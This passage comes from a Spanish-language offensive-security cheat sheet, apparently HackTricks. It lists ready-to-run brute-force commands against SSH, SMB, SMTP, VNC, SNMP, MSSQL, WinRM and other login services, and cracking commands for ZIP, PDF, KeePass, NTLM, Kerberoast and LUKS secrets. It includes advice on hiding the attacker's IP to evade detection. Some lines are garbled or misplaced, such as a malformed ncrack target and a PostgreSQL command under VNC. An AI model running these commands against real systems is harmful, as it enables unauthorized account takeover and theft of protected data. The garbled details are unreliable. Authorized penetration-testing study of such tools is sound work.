Rsh (Remote Shell) es un protocolo de red que permite a los usuarios ejecutar comandos en un servidor remoto. Es similar a SSH, pero menos seguro ya que no utiliza cifrado para proteger la comunicación. Rsh se utiliza a menudo en entornos de red antiguos y no se recomienda su uso en la actualidad debido a sus vulnerabilidades de seguridad.
|
||||
|
||||
La técnica de fuerza bruta se puede utilizar para intentar adivinar las credenciales de inicio de sesión de Rsh. Esto se puede hacer utilizando herramientas como Hydra o Medusa. Sin embargo, dado que Rsh no utiliza cifrado, es posible que un atacante pueda interceptar las credenciales de inicio de sesión si se envían sin cifrar a través de la red. Por lo tanto, se recomienda encarecidamente no utilizar Rsh y, en su lugar, utilizar protocolos más seguros como SSH.
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||
|
||||
### Rsync
|
||||
|
||||
Rsync es una herramienta de sincronización de archivos que se utiliza comúnmente en sistemas Unix. Es muy útil para sincronizar grandes cantidades de datos entre diferentes sistemas. Rsync utiliza el protocolo RSH (Remote Shell) para conectarse a sistemas remotos y transferir archivos. RSH es un protocolo inseguro que transmite información de autenticación en texto claro, lo que lo hace vulnerable a ataques de sniffing. Por lo tanto, es importante asegurarse de que RSH no esté habilitado en los sistemas que se están utilizando.
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
```
|
||||
### RTSP
|
||||
|
||||
El Protocolo de Transmisión en Tiempo Real (RTSP, por sus siglas en inglés) es un protocolo de red utilizado para controlar la transmisión de medios en tiempo real, como audio y video. Es comúnmente utilizado en sistemas de vigilancia y cámaras IP para transmitir video en vivo. Los ataques de fuerza bruta contra servidores RTSP pueden ser utilizados para obtener acceso no autorizado a los sistemas de vigilancia y cámaras IP.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt <IP> rtsp
|
||||
```
|
||||
### SNMP
|
||||
|
||||
SNMP (Simple Network Management Protocol) es un protocolo utilizado para administrar y supervisar dispositivos de red. Es comúnmente utilizado en dispositivos de red como routers, switches, servidores y firewalls. SNMP utiliza una estructura de datos jerárquica para organizar la información de administración de red.
|
||||
|
||||
Los atacantes pueden utilizar SNMP para obtener información sensible sobre la red, como nombres de host, direcciones IP y detalles de configuración. También pueden utilizar SNMP para realizar ataques de fuerza bruta contra contraseñas débiles o predeterminadas en dispositivos de red.
|
||||
|
||||
Para protegerse contra los ataques de fuerza bruta de SNMP, es importante utilizar contraseñas fuertes y personalizadas en los dispositivos de red. También se recomienda deshabilitar SNMP en los dispositivos que no lo necesitan y limitar el acceso a los dispositivos que lo utilizan.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||||
```
|
||||
### SMB
|
||||
|
||||
El Protocolo de Bloques de Mensajes del Servidor (SMB, por sus siglas en inglés) es un protocolo de red utilizado para compartir archivos, impresoras y otros recursos entre nodos de una red. Es utilizado principalmente en sistemas operativos Windows, pero también puede ser utilizado en otros sistemas operativos.
|
||||
|
||||
#### Fuerza Bruta
|
||||
|
||||
La fuerza bruta en SMB se puede utilizar para intentar adivinar contraseñas de usuarios. Hay varias herramientas disponibles para realizar ataques de fuerza bruta en SMB, como Hydra y SMBMap.
|
||||
|
||||
Para realizar un ataque de fuerza bruta en SMB, primero se necesita una lista de posibles contraseñas. Luego, se utiliza una herramienta de fuerza bruta para intentar todas las combinaciones posibles de nombres de usuario y contraseñas hasta que se encuentre la correcta.
|
||||
|
||||
Es importante tener en cuenta que los ataques de fuerza bruta pueden ser detectados por los sistemas de seguridad y pueden llevar a la cuenta de usuario bloqueada o a la cuenta de atacante bloqueada. Por lo tanto, se recomienda utilizar técnicas de ataque más avanzadas y menos intrusivas, como la explotación de vulnerabilidades conocidas o la ingeniería social.
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
```
|
||||
### SMTP
|
||||
|
||||
SMTP (Simple Mail Transfer Protocol) es un protocolo utilizado para enviar correos electrónicos a través de Internet. Los servidores SMTP autenticados suelen requerir credenciales de inicio de sesión válidas para enviar correos electrónicos.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta en los servidores SMTP se puede utilizar para adivinar credenciales de inicio de sesión válidas. Esto se puede hacer utilizando herramientas como Hydra o Medusa. También se pueden utilizar listas de contraseñas comunes para intentar adivinar la contraseña correcta.
|
||||
|
||||
Además, se puede intentar adivinar el nombre de usuario correcto utilizando técnicas de enumeración de usuarios. Esto se puede hacer utilizando herramientas como Metasploit o Nmap.
|
||||
|
||||
Es importante tener en cuenta que la fuerza bruta en los servidores SMTP puede ser detectada fácilmente por los sistemas de seguridad, por lo que se deben tomar medidas para evitar la detección, como limitar el número de intentos de inicio de sesión o utilizar proxies para ocultar la dirección IP del atacante.
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS (Socket Secure) es un protocolo de red que permite a los usuarios de una red privada acceder a Internet de forma segura y anónima. SOCKS actúa como un intermediario entre el cliente y el servidor, permitiendo que el tráfico de red se enrute a través de un servidor proxy. Esto puede ser útil para ocultar la dirección IP del cliente y evitar la detección de actividades maliciosas. Los servidores SOCKS también pueden ser utilizados para eludir las restricciones de red, como los cortafuegos y los filtros de contenido.
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
```
|
||||
### SSH
|
||||
|
||||
El protocolo SSH (Secure Shell) es un protocolo de red que permite a los usuarios conectarse y comunicarse de forma segura con un servidor remoto. SSH utiliza técnicas de cifrado para proteger la información transmitida y autenticación para garantizar que solo los usuarios autorizados puedan acceder al servidor.
|
||||
|
||||
El ataque de fuerza bruta contra SSH implica intentar adivinar la contraseña correcta para una cuenta de usuario mediante la prueba de diferentes combinaciones de contraseñas. Los atacantes pueden utilizar herramientas automatizadas para realizar este tipo de ataque. Para evitar este tipo de ataque, se recomienda utilizar contraseñas seguras y complejas, así como la autenticación de dos factores. También se puede limitar el número de intentos de inicio de sesión fallidos permitidos antes de bloquear la cuenta de usuario.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
|
||||
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
|
||||
```
|
||||
#### Claves SSH débiles / PRNG predecible de Debian
|
||||
Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pregenerados de claves débiles, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### SQL Server
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
|
||||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||
```
|
||||
### Telnet
|
||||
|
||||
Telnet es un protocolo de red que permite la comunicación bidireccional utilizando un canal virtual. Es utilizado principalmente para la administración remota de dispositivos de red a través de una conexión de red. Telnet es un protocolo sin cifrado, lo que significa que la información transmitida a través de Telnet no está protegida y puede ser interceptada por un atacante. Por lo tanto, es importante evitar el uso de Telnet para la administración remota y en su lugar utilizar protocolos seguros como SSH.
|
||||
|
||||
Sin embargo, en algunos casos, Telnet puede ser utilizado para realizar ataques de fuerza bruta contra servicios que utilizan este protocolo. En estos casos, se puede utilizar una herramienta de fuerza bruta como Hydra o Medusa para intentar adivinar las credenciales de acceso. Es importante tener en cuenta que este tipo de ataques son ilegales y pueden tener consecuencias graves.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
|
||||
```
|
||||
### VNC
|
||||
|
||||
VNC (Virtual Network Computing) es un protocolo que permite controlar remotamente un ordenador a través de una red. Es muy utilizado en entornos de soporte técnico y administración de sistemas.
|
||||
|
||||
El ataque de fuerza bruta contra VNC consiste en intentar adivinar la contraseña de acceso al servidor VNC. Para ello, se utilizan herramientas como Hydra o Medusa, que permiten automatizar el proceso de prueba de contraseñas.
|
||||
|
||||
Es importante tener en cuenta que, en muchos casos, los servidores VNC no están configurados de forma segura, lo que facilita el éxito del ataque de fuerza bruta. Por lo tanto, es recomendable utilizar contraseñas seguras y configurar adecuadamente el servidor VNC para evitar este tipo de ataques.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
|
||||
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
|
||||
use auxiliary/scanner/vnc/vnc_login
|
||||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||
|
||||
#Metasploit
|
||||
use auxiliary/scanner/vnc/vnc_login
|
||||
set RHOSTS <ip>
|
||||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```
|
||||
### Winrm
|
||||
|
||||
Winrm es un protocolo de administración remota de Windows que permite a los usuarios administrar y ejecutar comandos en sistemas remotos. Es similar a SSH en sistemas Unix y Linux. Winrm utiliza el puerto 5985 para conexiones HTTP y el puerto 5986 para conexiones HTTPS.
|
||||
|
||||
La autenticación en Winrm se puede realizar mediante credenciales de usuario o mediante certificados. Si se utiliza la autenticación basada en certificados, se debe tener en cuenta que el certificado debe ser válido y estar instalado en ambos sistemas, el local y el remoto.
|
||||
|
||||
Una técnica común de ataque en Winrm es la fuerza bruta de contraseñas. Los atacantes pueden utilizar herramientas como Hydra o Medusa para intentar adivinar las credenciales de usuario y contraseña. Para evitar este tipo de ataques, se recomienda utilizar contraseñas seguras y políticas de bloqueo de cuentas después de varios intentos fallidos de inicio de sesión.
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
 (1) (2).png>)
|
||||
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Local
|
||||
|
||||
### Bases de datos de cracking en línea
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 y SHA1)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 y archivos MSOffice, ZIP, PDF...)
|
||||
* [https://crackstation.net/](https://crackstation.net) (Hashes)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
* [https://gpuhash.me/](https://gpuhash.me) (Hashes y hashes de archivos)
|
||||
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
|
||||
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
|
||||
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Revise esto antes de intentar hacer fuerza bruta a un Hash.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
#sudo apt-get install fcrackzip
|
||||
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
||||
```
|
||||
|
||||
```bash
|
||||
zip2john file.zip > zip.john
|
||||
john zip.john
|
||||
```
|
||||
|
||||
```bash
|
||||
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
|
||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Ataque de texto plano conocido en archivos zip
|
||||
|
||||
Es necesario conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del archivo zip cifrado. Puedes verificar **los nombres y tamaños de los archivos contenidos dentro** de un archivo zip cifrado ejecutando: **`7z l encrypted.zip`**\
|
||||
Descarga [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) desde la página de lanzamientos.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
||||
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
|
||||
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
|
||||
# With that key you can create a new zip file with the content of encrypted.zip
|
||||
# but with a different pass that you set (so you can decrypt it)
|
||||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||||
unzip unlocked.zip #User new_pwd as password
|
||||
```
|
||||
### 7z
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download and install requirements for 7z2john
|
||||
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
|
||||
apt-get install libcompress-raw-lzma-perl
|
||||
./7z2john.pl file.7z > 7zhash.john
|
||||
```
|
||||
### PDF
|
||||
|
||||
El formato de archivo PDF (Portable Document Format) es ampliamente utilizado para compartir documentos en línea. A menudo, estos documentos contienen información confidencial y pueden ser un objetivo atractivo para los atacantes. Los atacantes pueden intentar realizar ataques de fuerza bruta contra los archivos PDF protegidos con contraseña para obtener acceso no autorizado a la información contenida en ellos.
|
||||
|
||||
Los ataques de fuerza bruta contra archivos PDF protegidos con contraseña pueden realizarse utilizando herramientas como `pdfcrack` o `hashcat`. Estas herramientas intentan adivinar la contraseña probando diferentes combinaciones de caracteres hasta que se encuentra la correcta. Es importante tener en cuenta que cuanto más larga y compleja sea la contraseña, más difícil será para el atacante adivinarla.
|
||||
|
||||
Además, los atacantes también pueden intentar explotar vulnerabilidades en el software de lectura de PDF para obtener acceso no autorizado a la información contenida en los archivos. Por lo tanto, es importante mantener el software de lectura de PDF actualizado con las últimas actualizaciones de seguridad para reducir el riesgo de explotación de vulnerabilidades.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
#pdf2john didn't work well, john didn't know which hash type was
|
||||
# To permanently decrypt the pdf
|
||||
sudo apt-get install qpdf
|
||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### Contraseña de propietario de PDF
|
||||
|
||||
Para crackear una contraseña de propietario de PDF, revisa esto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
git clone https://github.com/Sjord/jwtcrack.git
|
||||
cd jwtcrack
|
||||
|
||||
#Bruteforce using crackjwt.py
|
||||
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
|
||||
|
||||
#Bruteforce using john
|
||||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||
john jwt.john #It does not work with Kali-John
|
||||
```
|
||||
### Descifrado de NTLM
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||
```
|
||||
### Keepass
|
||||
|
||||
Keepass es un gestor de contraseñas de código abierto que permite almacenar y gestionar de forma segura contraseñas y otros datos sensibles. Utiliza una base de datos cifrada con una contraseña maestra para proteger la información almacenada. Keepass también cuenta con funciones de generación de contraseñas aleatorias y autocompletado de formularios web.
|
||||
```bash
|
||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||
keepass2john file.kdbx > hash #The keepass is only using password
|
||||
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
|
||||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||
```
|
||||
### Keberoasting
|
||||
|
||||
Keberoasting es una técnica de ataque que aprovecha la debilidad de la encriptación Kerberos en entornos Windows para extraer contraseñas de usuarios con privilegios de cuenta de servicio. El atacante puede extraer los hashes de contraseñas de estas cuentas de servicio y luego utilizar herramientas de cracking para obtener las contraseñas en texto plano.
|
||||
|
||||
Para llevar a cabo un ataque de Keberoasting, el atacante necesita tener acceso a una cuenta de usuario con privilegios de cuenta de servicio en el dominio de Windows. Luego, el atacante utiliza una herramienta como "Rubeus" para extraer los hashes de contraseñas de las cuentas de servicio. Estos hashes se pueden guardar en un archivo y luego se pueden utilizar herramientas de cracking como "Hashcat" para obtener las contraseñas en texto plano.
|
||||
|
||||
Para prevenir un ataque de Keberoasting, se recomienda limitar el número de cuentas de servicio con privilegios en el dominio de Windows y asegurarse de que las contraseñas de estas cuentas sean lo suficientemente fuertes. También se puede implementar la autenticación multifactor para las cuentas de servicio con privilegios para aumentar la seguridad.
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||
```
|
||||
### Imagen de Lucks
|
||||
|
||||
#### Método 1
|
||||
|
||||
Instalar: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||
```bash
|
||||
bruteforce-luks -f ./list.txt ./backup.img
|
||||
cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
#### Método 2
|
||||
```bash
|
||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
|
||||
cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
### Mysql
|
||||
|
||||
Mysql es un sistema de gestión de bases de datos relacional de código abierto muy popular. Es utilizado por muchas aplicaciones web y es una de las bases de datos más utilizadas en la web. Debido a su popularidad, es un objetivo común para los atacantes.
|
||||
|
||||
#### Fuerza bruta
|
||||
|
||||
La fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a una base de datos Mysql. Consiste en probar todas las posibles combinaciones de contraseñas hasta encontrar la correcta. Es importante tener en cuenta que esta técnica puede ser muy lenta y puede requerir una gran cantidad de recursos.
|
||||
|
||||
#### Herramientas de fuerza bruta
|
||||
|
||||
Hay muchas herramientas de fuerza bruta disponibles para Mysql, como Hydra, Medusa y SQLMap. Estas herramientas pueden ser muy efectivas si se utilizan correctamente, pero también pueden ser peligrosas si se utilizan de manera incorrecta.
|
||||
|
||||
Es importante tener en cuenta que la fuerza bruta es ilegal y puede tener graves consecuencias legales. Por lo tanto, solo debe ser utilizada en sistemas que usted tiene permiso para probar.
|
||||
```bash
|
||||
#John hash format
|
||||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||
```
|
||||
### Clave privada PGP/GPG
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
```
|
||||
### Cisco
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### DPAPI Master Key
|
||||
|
||||
Utilice [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) y luego john
|
||||
|
||||
### Columna protegida por contraseña en Open Office
|
||||
|
||||
Si tiene un archivo xlsx con una columna protegida por contraseña, puede desprotegerla:
|
||||
|
||||
* **Cárguelo en Google Drive** y la contraseña se eliminará automáticamente
|
||||
* Para **eliminarla manualmente**:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
# Find something like: <sheetProtection algorithmName="SHA-512"
|
||||
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
|
||||
# Remove that line and rezip the file
|
||||
zip -r file.xls .
|
||||
```
|
||||
### Certificados PFX
|
||||
```bash
|
||||
# From https://github.com/Ridter/p12tool
|
||||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Herramientas
|
||||
|
||||
**Ejemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Hash-identifier
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
```
|
||||
### Listas de palabras
|
||||
|
||||
* **Rockyou**
|
||||
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||||
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||
|
||||
### **Herramientas de generación de listas de palabras**
|
||||
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de teclado con caracteres base configurables, mapa de teclas y rutas.
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
### Mutación de John
|
||||
|
||||
Leer _**/etc/john/john.conf**_ y configurarlo.
|
||||
```bash
|
||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
```
|
||||
### Hashcat
|
||||
|
||||
#### Ataques de Hashcat
|
||||
|
||||
* **Ataque de lista de palabras** (`-a 0`) con reglas
|
||||
|
||||
**Hashcat** ya viene con una **carpeta que contiene reglas**, pero puedes encontrar [**otras reglas interesantes aquí**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
* Ataque de **combinación de listas de palabras**
|
||||
|
||||
Es posible **combinar 2 listas de palabras en 1** con hashcat.\
|
||||
Si la lista 1 contenía la palabra **"hello"** y la segunda contenía 2 líneas con las palabras **"world"** y **"earth"**. Las palabras `helloworld` y `helloearth` serán generadas.
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
|
||||
# Same attack as before but adding chars in the newly generated words
|
||||
# In the previous example this will generate:
|
||||
## hello-world!
|
||||
## hello-earth!
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||||
```
|
||||
* **Ataque de máscara** (`-a 3`)
|
||||
```bash
|
||||
# Mask attack with simple mask
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||||
|
||||
hashcat --help #will show the charsets and are as follows
|
||||
? | Charset
|
||||
===+=========
|
||||
l | abcdefghijklmnopqrstuvwxyz
|
||||
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||||
d | 0123456789
|
||||
h | 0123456789abcdef
|
||||
H | 0123456789ABCDEF
|
||||
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|
||||
a | ?l?u?d?s
|
||||
b | 0x00 - 0xff
|
||||
|
||||
# Mask attack declaring custom charset
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||
## -1 ?d?s defines a custom charset (digits and specials).
|
||||
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
|
||||
|
||||
# Mask attack with variable password length
|
||||
## Create a file called masks.hcmask with this content:
|
||||
?d?s,?u?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?l?l?1
|
||||
?d?s,?u?l?l?l?l?l?l?l?l?1
|
||||
## Use it to crack the password
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||
```
|
||||
* Ataque de Wordlist + Máscara (`-a 6`) / Máscara + Wordlist (`-a 7`)
|
||||
```bash
|
||||
# Mask numbers will be appended to each word in the wordlist
|
||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
|
||||
# Mask numbers will be prepended to each word in the wordlist
|
||||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||
```
|
||||
#### Modos de Hashcat
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
# Crackeando Hashes de Linux - Archivo /etc/shadow
|
||||
|
||||
El archivo `/etc/shadow` es un archivo de sistema en Linux que contiene información de autenticación de usuarios. Este archivo almacena los hashes de las contraseñas de los usuarios en lugar de las contraseñas en texto plano.
|
||||
|
||||
Para crackear hashes de contraseñas en Linux, primero debemos obtener acceso al archivo `/etc/shadow`. Esto se puede hacer de varias maneras, como obtener acceso de root o explotar una vulnerabilidad en el sistema.
|
||||
|
||||
Una vez que tengamos acceso al archivo `/etc/shadow`, podemos utilizar herramientas como John the Ripper o Hashcat para crackear los hashes de las contraseñas. Estas herramientas utilizan técnicas de fuerza bruta y diccionario para intentar adivinar la contraseña original a partir del hash.
|
||||
|
||||
